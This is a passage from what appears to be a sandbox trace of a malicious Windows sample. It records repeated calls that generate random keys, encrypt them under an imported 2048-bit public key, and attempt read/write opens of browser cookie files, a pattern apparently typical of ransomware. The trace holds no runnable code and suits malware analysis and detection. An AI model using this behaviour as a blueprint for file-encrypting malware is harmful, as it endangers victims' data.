pdwDataLen=0x285cd14*=0x4) returned 1 [0175.448] CryptEncrypt (in: hKey=0x3609440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x49b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x49b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.449] GetLastError () returned 0x0 [0175.449] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.449] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MIL4MU1S.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mil4mu1s.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.449] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.451] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.451] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.451] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.452] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.452] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.452] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.454] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609040) returned 1 [0175.454] CryptGetKeyParam (in: hKey=0x3609040, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.454] CryptEncrypt (in: hKey=0x3609040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x49c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x49c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.455] GetLastError () returned 0x0 [0175.455] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.455] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.456] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609480) returned 1 [0175.456] CryptGetKeyParam (in: hKey=0x3609480, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.456] CryptEncrypt (in: hKey=0x3609480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x49d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x49d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.457] GetLastError () returned 0x0 [0175.457] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.457] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MM8KB9U2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mm8kb9u2.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.457] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.458] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.458] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.458] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.458] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.458] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.460] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.460] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.460] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.462] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608dc0) returned 1 [0175.462] CryptGetKeyParam (in: hKey=0x3608dc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.462] CryptEncrypt (in: hKey=0x3608dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x49e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x49e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.462] GetLastError () returned 0x0 [0175.462] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.462] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.464] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36092c0) returned 1 [0175.464] CryptGetKeyParam (in: hKey=0x36092c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.464] CryptEncrypt (in: hKey=0x36092c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x49f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x49f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.464] GetLastError () returned 0x0 [0175.464] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.464] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MMPF10F4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mmpf10f4.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.464] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.465] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.466] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.466] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.466] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.466] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.468] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.468] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.468] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.468] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.470] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608e80) returned 1 [0175.470] CryptGetKeyParam (in: hKey=0x3608e80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.470] CryptEncrypt (in: hKey=0x3608e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4a00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.470] GetLastError () returned 0x0 [0175.470] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.470] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.472] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609100) returned 1 [0175.472] CryptGetKeyParam (in: hKey=0x3609100, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.472] CryptEncrypt (in: hKey=0x3609100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4a10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.472] GetLastError () returned 0x0 [0175.472] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.473] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MOE7DCQU.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\moe7dcqu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.473] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.474] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.474] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.474] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.476] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.476] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.476] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.478] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609080) returned 1 [0175.478] CryptGetKeyParam (in: hKey=0x3609080, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.478] CryptEncrypt (in: hKey=0x3609080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4a20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.478] GetLastError () returned 0x0 [0175.478] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.478] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.480] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608fc0) returned 1 [0175.480] CryptGetKeyParam (in: hKey=0x3608fc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.480] CryptEncrypt (in: hKey=0x3608fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4a30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.480] GetLastError () returned 0x0 [0175.480] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.480] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NEHE4KDB.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nehe4kdb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.480] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.482] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.482] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.482] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.483] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.483] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.483] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.483] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.485] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609000) returned 1 [0175.485] CryptGetKeyParam (in: hKey=0x3609000, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.485] CryptEncrypt (in: hKey=0x3609000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4a40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.486] GetLastError () returned 0x0 [0175.486] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.486] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.487] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609300) returned 1 [0175.487] CryptGetKeyParam (in: hKey=0x3609300, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.487] CryptEncrypt (in: hKey=0x3609300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4a50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.488] GetLastError () returned 0x0 [0175.488] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.488] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NOCAHPZ6.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nocahpz6.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.488] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.489] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.489] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.489] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.490] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.491] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.491] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.491] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.493] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608e40) returned 1 [0175.493] CryptGetKeyParam (in: hKey=0x3608e40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.493] CryptEncrypt (in: hKey=0x3608e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4a60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.493] GetLastError () returned 0x0 [0175.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.493] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.495] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608ec0) returned 1 [0175.495] CryptGetKeyParam (in: hKey=0x3608ec0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.495] CryptEncrypt (in: hKey=0x3608ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4a70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.495] GetLastError () returned 0x0 [0175.495] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\NYCCG1AV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\nyccg1av.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.496] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.497] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.497] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.498] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.499] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.499] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.499] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.499] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.501] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608f40) returned 1 [0175.501] CryptGetKeyParam (in: hKey=0x3608f40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.501] CryptEncrypt (in: hKey=0x3608f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4a80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.502] GetLastError () returned 0x0 [0175.502] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.502] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.504] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36090c0) returned 1 [0175.504] CryptGetKeyParam (in: hKey=0x36090c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.504] CryptEncrypt (in: hKey=0x36090c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4a90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4a90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.504] GetLastError () returned 0x0 [0175.504] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.504] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\O8FFFI2K.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\o8fffi2k.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 